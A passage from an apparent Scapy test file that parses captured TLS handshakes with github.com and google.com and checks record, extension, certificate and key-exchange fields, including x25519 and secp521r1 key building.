\\n\\x87\\xe9\\xe2\\xe9\\x82\\x83M\\x19Q\\xf2n\\x0e\\x15\\xdf\\xb3;0\\xdd&R\\xb7\\x15\\x89\\xe9O\\xd8G7\\x7f\\xc3\\xb8f\\xc7\\xd3\\xc90R\\x83\\xf3\\xd4\\x1cd\\xe8\\xc5\\x8d\\xe4N(k7\\xf0\\xb7\\xbd\\x01\\xb3\\x9b\\x86\\xbaC.\\x17\\x8d\\xd0g\\xc9\\xb1\\x01\\xfa\\x01\\xbe\\xdbt\\xb1u/\\x19V\\xc6\\x08@\\xff\\xa8n\\xe8\\xd0\\xd6n,\\x05\\xc9\\xc2\\xd8g\\x19\\x03.l\\xb4)\\xa09\\xf9\\xe7\\x83\\x01-\\xe8\\xf8\\xffy\\xbf\\xf7\\xe6\\x11\\xc5\\xf5\\x9aG\\xb3e \\xd85\\x0f\\x8f\\x85H\\xea\\xc2n\\x1eR\\xbe\\x01\\xef\\xef\\x93\\xe7*>\\xbd\\x84\\x8b9HDI\\x90\\xc4$\\x9a\\x9aK\\x88Ki\\n\\xa3\\xab\\xed\\x91\\xcd\\xe8\\xb1\\xd4\\x8e\\xbcE\\x88\\xe8\\x05\\x16\\xd5\\xed\\x18\\x16g>\\x04\\xd8\\x1dB}\\x91\\x90\\xd1\\xda\\x03\\xe1\\x972CxtD\\x85\\xafF|~7D9*U\\xad\\x0b\\xc4#\\x06}\\xec\\xd6\\xd3?y\\x96\\xa4\\xb5\\xa3\\x1d\\x1c\\xbd\\xc9\\xc9g\\xb12\\xc9\\x0f\\xa1\\x03\\x12N\\x0b\\xec\\x14\\xc9vJ\\nM\\xa7\\xc8h\\xd0|(1(\\xa3\\x98@nH\\n\\x0b\\xa80\\x00\\x02\\xb7\\x06Z\\xd4M\\xdc!AV\\xe2\\xa7*\\xc3\\x90U\\xee\\xd0\\xb2\\x05\\xa3w\\xe1\\xe2\\xbe\\x1e\\xbe\\xd4u\\xb1\\xa1z\\x1e\\x1c\\x15%7\\xdd\\xf9\\xb9~\\x02\\xf9s\\x0c1\\xfb;\\xab\\xf1\\x1e\\xaf\\x06\\x8c\\xafe\\x00\\x15e5\\xac\\xd7]>\\x1dLb5\\x8e+\\x01n\\xcb\\x19\\xcc\\x17Ey\\xc8\"\n\n\n= Reading TLS test session - TLS parsing (no encryption) does not throw any error\nfrom scapy.layers.tls.record import TLS\n# We will need to distinguish between connection ends. See next XXX below.\nt1 = TLS(p1_ch)\nt2 = TLS(p2_sh, tls_session=t1.tls_session.mirror())\nt3 = TLS(p3_cert, tls_session=t2.tls_session)\nt4 = TLS(p4_certstat_ske_shd, tls_session=t3.tls_session)\n\n\n= Reading TLS test session - TLS Record header\n# We leave the possibility for some attributes to be either '' or None.\nassert t1.type == 0x16\nassert t1.version == 0x0301\nassert t1.len == 213\nassert not t1.iv\nassert not t1.mac\nassert not t1.pad and not t1.padlen\nlen(t1.msg) == 1\n\n\n= Reading TLS test session - TLS Record __getitem__\nfrom scapy.layers.tls.handshake import TLSClientHello\nTLSClientHello in t1\n\n= Reading TLS test session - ClientHello\nch = t1.msg[0]\nassert isinstance(ch, TLSClientHello)\nassert ch.msgtype == 1\nassert ch.msglen == 209\nassert ch.version == 0x0303\nassert ch.gmt_unix_time == 0x17f24dc3\nassert ch.random_bytes == b'|\\x19\\xdb\\xc3<\\xb5J\\x0b\\x8d5\\x81\\xc5\\xce\\t 2\\x08\\xd8\\xec\\xd1\\xf8\"B\\x9cW\\xd0\\x16v'\nassert ch.sidlen == 0\nassert not ch.sid\nassert ch.cipherslen == 22\nassert ch.ciphers == [49195, 49199, 49162, 49161, 49171, 49172, 51, 57, 47, 53, 10]\nassert ch.complen == 1\nassert ch.comp == [0]\n\n\n= Reading TLS test session - ClientHello extensions\nfrom scapy.layers.tls.extensions import (TLS_Ext_ServerName,\nTLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups,\nTLS_Ext_SupportedPointFormat, TLS_Ext_SessionTicket, TLS_Ext_NPN,\nTLS_Ext_ALPN, TLS_Ext_SignatureAlgorithms, TLS_Ext_CSR,\nOCSPStatusRequest)\n\nassert ch.extlen == 146\next = ch.ext\nassert len(ext) == 9\nassert isinstance(ext[0], TLS_Ext_ServerName)\nassert ext[0].type == 0\nassert ext[0].len == 31\nassert ext[0].servernameslen == 29\nassert len(ext[0].servernames) == 1\nassert ext[0].servernames[0].nametype == 0\nassert ext[0].servernames[0].namelen == 26\nassert ext[0].servernames[0].servername == b\"camo.githubusercontent.com\"\nassert isinstance(ext[1], TLS_Ext_RenegotiationInfo)\nassert not ext[1].renegotiated_connection\nassert isinstance(ext[2], TLS_Ext_SupportedGroups)\nassert ext[2].groups == [0x17, 0x18, 0x19]\nassert isinstance(ext[3], TLS_Ext_SupportedPointFormat)\nassert ext[3].ecpl == [0]\nassert isinstance(ext[4], TLS_Ext_SessionTicket)\nassert not ext[4].ticket\nassert isinstance(ext[5], TLS_Ext_NPN)\nassert ext[5].protocols == []\nassert isinstance(ext[6], TLS_Ext_ALPN)\nassert len(ext[6].protocols) == 6\nassert ext[6].protocols[-1].protocol == b\"http/1.1\"\nassert isinstance(ext[7], TLS_Ext_CSR)\nassert isinstance(ext[7].req[0], OCSPStatusRequest)\nassert isinstance(ext[8], TLS_Ext_SignatureAlgorithms)\nassert len(ext[8].sig_algs) == 10\next[8].sig_algs[-1] == 0x0202\n\n\n= Reading TLS test session - ServerHello\nfrom scapy.layers.tls.handshake import TLSServerHello\n\nassert TLSServerHello in t2\nsh = t2.msg[0]\nassert isinstance(sh, TLSServerHello)\nassert sh.gmt_unix_time == 0x46076ee2\nassert sh.random_bytes == b'\\x0c\\x97g\\xb7o\\xb6\\x9b\\x14\\x19\\xbd\\xdd1\\x80@\\xaaQ+\\xc2,\\x19\\x15\"\\x82\\xe8\\xc5,\\xe8\\x12'\nassert sh.cipher == 0xc02f\nassert len(sh.ext) == 6\nsh.ext[-1].protocols[-1].protocol == b\"http/1.1\"\n\n\n= Reading TLS test session - Certificate\nfrom scapy.layers.tls.cert import Cert\ncert = t3.msg[0]\nassert cert.certslen == 2670\nassert len(cert.certs) == 2\nsrv_cert = cert.certs[0][1]\nassert isinstance(srv_cert, Cert)\nassert srv_cert.serial == 0x077a5dc3362301f989fe54f7f86f3e64\nsrv_cert.subject['commonName'] == 'www.github.com'\n\n\n= Reading TLS test session - Multiple TLS layers\ncert_stat = t4.msg[0]\nske = t4.payload.msg[0]\nshd = t4.payload.payload.msg[0]\nisinstance(t4.payload.payload.payload, NoPayload)\n\n\n= Reading TLS test session - CertificateStatus\nfrom scapy.layers.tls.handshake import TLSCertificateStatus\nassert isinstance(cert_stat, TLSCertificateStatus)\nassert cert_stat.responselen == 471\ncert_stat.response[0].responseStatus == 0\n# we leave the remaining OCSP tests to x509.uts\n\n\n= Reading TLS test session - ServerKeyExchange\nfrom scapy.layers.tls.handshake import TLSServerKeyExchange\nfrom scapy.layers.tls.keyexchange import ServerECDHNamedCurveParams\nassert isinstance(ske, TLSServerKeyExchange)\np = ske.params\nassert isinstance(p, ServerECDHNamedCurveParams)\nassert p.named_curve == 0x0017\nassert orb(p.point[0]) == 4 and p.point[1:5] == b'\\xc3\\x9d\\x1cD' and p.point[-4:] == b'X\\x19\\x03u'\nassert ske.sig.sig_alg == 0x0601\nske.sig.sig_val[:4] == b'y\\x8aQ\\x11' and ske.sig.sig_val[-4:] == b'`15\\xef'\n\n\n= Reading TLS test session - ServerHelloDone\nfrom scapy.layers.tls.handshake import TLSServerHelloDone\nassert isinstance(shd, TLSServerHelloDone)\nshd.msglen == 0\n\n= Reading TLS test session - Context checks after 1st RTT\nt = shd.tls_session\nassert len(t.handshake_messages) == 6\nassert t.handshake_messages_parsed[-1] is shd\nassert t.tls_version == 0x0303\nassert t.client_kx_ffdh_params is None\nassert t.client_kx_ecdh_params is not None\npn = t.server_kx_pubkey.public_numbers()\nx = pkcs_i2osp(pn.x, pn.curve.key_size/8)\ny = pkcs_i2osp(pn.y, pn.curve.key_size/8)\nassert x[:4] == b'\\xc3\\x9d\\x1cD' and y[-4:] == b'X\\x19\\x03u'\nassert t.rcs.row == \"read\"\nassert t.wcs.row == \"write\"\nt.rcs.ciphersuite.val == 0\n\n\n= Reading TLS test session - TLS parsing (with encryption) does not throw any error\n# XXX Something should be done, as for instance the reading of the 1st CCS\n# will mess up the reading state of the other side (even before the 2nd CCS).\nt5 = TLS(p5_cke_ccs_fin, tls_session=t4.tls_session.mirror())\n\n\n= Reading TLS test session - ClientKeyExchange\nfrom scapy.layers.tls.handshake import TLSClientKeyExchange\nfrom scapy.layers.tls.keyexchange import ClientECDiffieHellmanPublic\ncke = t5.msg[0]\nccs = t5.payload.msg[0]\nrec_fin = t5.payload.payload\nfin = t5.payload.payload.msg[0]\nisinstance(t5.payload.payload.payload, NoPayload)\nassert isinstance(cke, TLSClientKeyExchange)\nk = cke.exchkeys\nassert isinstance(k, ClientECDiffieHellmanPublic)\nassert k.ecdh_Yclen == 65\nassert k.ecdh_Yc[:4] == b'\\x04\\xd2\\x07\\xce' and k.ecdh_Yc[-4:] == b'\\xdc\\x86[\\xe7'\n\n\n= Reading TLS test session - ChangeCipherSpec\nfrom scapy.layers.tls.record import TLSChangeCipherSpec\nassert isinstance(ccs, TLSChangeCipherSpec)\nccs.msgtype == 1\n\n\n= Reading TLS test session - Finished\nassert rec_fin.version == 0x0303\nassert rec_fin.deciphered_len == 16\nassert rec_fin.len == 40\nassert rec_fin.iv == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert rec_fin.mac == b'\\xc7^\\xc1\\x8e\\x81M\\xff\\x00\\x0f}G\\xf2\\x8c\\xab\\n='\nassert not rec_fin.pad and not rec_fin.padlen\nfrom scapy.layers.tls.record import _TLSEncryptedContent\nassert isinstance(fin, _TLSEncryptedContent)\nfin.load == b'\\xd9\\xcb,\\x8cM\\xfd\\xbc9\\xaa\\x05\\xf3\\xd3\\xf3Z\\x8a-'\n\n\n= Reading TLS test session - Ticket, CCS & Finished\n~ libressl\n\nfrom scapy.layers.tls.handshake import TLSNewSessionTicket\nt6 = TLS(p6_tick_ccs_fin, tls_session=t5.tls_session.mirror())\ntick = t6.msg[0]\nassert isinstance(tick, TLSNewSessionTicket)\nassert tick.msgtype == 4\nassert tick.lifetime == 1200\nassert tick.ticketlen == 192\nassert tick.ticket[:4] == b'c\\xccwJ' and tick.ticket[-4:] == b'\\xf3.\\xcf\\x04'\nccs = t6.payload.msg[0]\nassert isinstance(ccs, TLSChangeCipherSpec)\nrec_fin = t6.getlayer(4)\nassert rec_fin.iv == b'\\xd8m\\x92\\t5YZ:'\nassert rec_fin.mac == b'\\xecguD\\xa8\\x87$<7+\\n\\x94\\x1e9\\x96\\xfa'\nassert isinstance(rec_fin.msg[0], _TLSEncryptedContent)\nrec_fin.msg[0].load == b'7\\\\)`\\xaa`\\x7ff\\xcd\\x10\\xa9v\\xa3*\\x17\\x1a'\n\n= Building x25519 ecdh_Yc\n~ libressl\n\nfrom scapy.layers.tls.record import TLS\nfrom scapy.layers.tls.handshake import TLSClientKeyExchange\n\ncli_hello = bytes.fromhex('160303008f0100008b0303000027104268d53e923ce05aa04cb21b8fe33aed93266c00bd1f13ea6a6dad24000018c02cc02bc030c02fc024c023c028c027c00ac009c014c0130100004a00000013001100000e7777772e676f6f676c652e636f6d000500050100000000000a00080006001d00170018000b00020100000d00140012040105010201040305030203020206010603')\nser_hello = bytes.fromhex('16030300520200004e03035f9b52e4206fdc2410d1d482905c9b45a204641d9d856afb444f574e4752440120c4d1479e11a26edf0dbcb07e7a5f7d41c3d7b500015ff8c1ceed473bf457b193c02b000006000b0002010016030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d205232311330110603')\nser_cert = bytes.fromhex('16030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca')\n\nr1 = TLS(cli_hello)\nr2 = TLS(ser_hello, tls_session=r1.tls_session.mirror())\nr3 = TLS(ser_cert, tls_session=r2.tls_session)\n\ns = r3.tls_session.mirror()\ns.client_kx_ecdh_params = 29\npkt = TLSClientKeyExchange(tls_session=s)\nbytes(pkt)\npkt.exchkeys.fill_missing()\nassert len(pkt.exchkeys.ecdh_Yc) == 32\n\n= Building secp521r1 ecdh_Yc\n~ libressl\n\nfrom scapy.layers.tls.record import TLS\nfrom scapy.layers.tls.handshake import TLSClientKeyExchange\n\ncli_hello = bytes.fromhex('160303008f0100008b0303000027104268d53e923ce05aa04cb21b8fe33aed93266c00bd1f13ea6a6dad24000018c02cc02bc030c02fc024c023c028c027c00ac009c014c0130100004a00000013001100000e7777772e676f6f676c652e636f6d000500050100000000000a00080006001d00170019000b00020100000d00140012040105010201040305030203020206010603')\nser_hello = bytes.fromhex('16030300520200004e03035f9b52e4206fdc2410d1d482905c9b45a204641d9d856afb444f574e4752440120c4d1479e11a26edf0dbcb07e7a5f7d41c3d7b500015ff8c1ceed473bf457b193c02b000006000b0002010016030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d205232311330110603')\nser_cert = bytes.fromhex('16030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca')\n\nr1 = TLS(cli_hello)\nr2 = TLS(ser_hello, tls_session=r1.tls_session.mirror())\nr3 = TLS(ser_cert, tls_session=r2.tls_session)\n\ns = r3.tls_session.mirror()\ns.client_kx_ecdh_params = 25\npkt = TLSClientKeyExchange(tls_session=s)\nbytes(pkt)\npkt.exchkeys.fill_missing()\nassert len(pkt.exchkeys.ecdh_Yc) == 133 # len(b'\\x04') + ceil(521/8) * 2\n\n= Reading TLS test session - Extended master secret\n~ libressl\n\n# See https://github.com/secdev/scapy/issues/2784\n\nfrom scapy.layers.tls.cert import PrivKey\nfrom scapy.layers.tls.handshake import TLSFinished\nfrom scapy.layers.tls.record import TLS\n\nchello_extms = 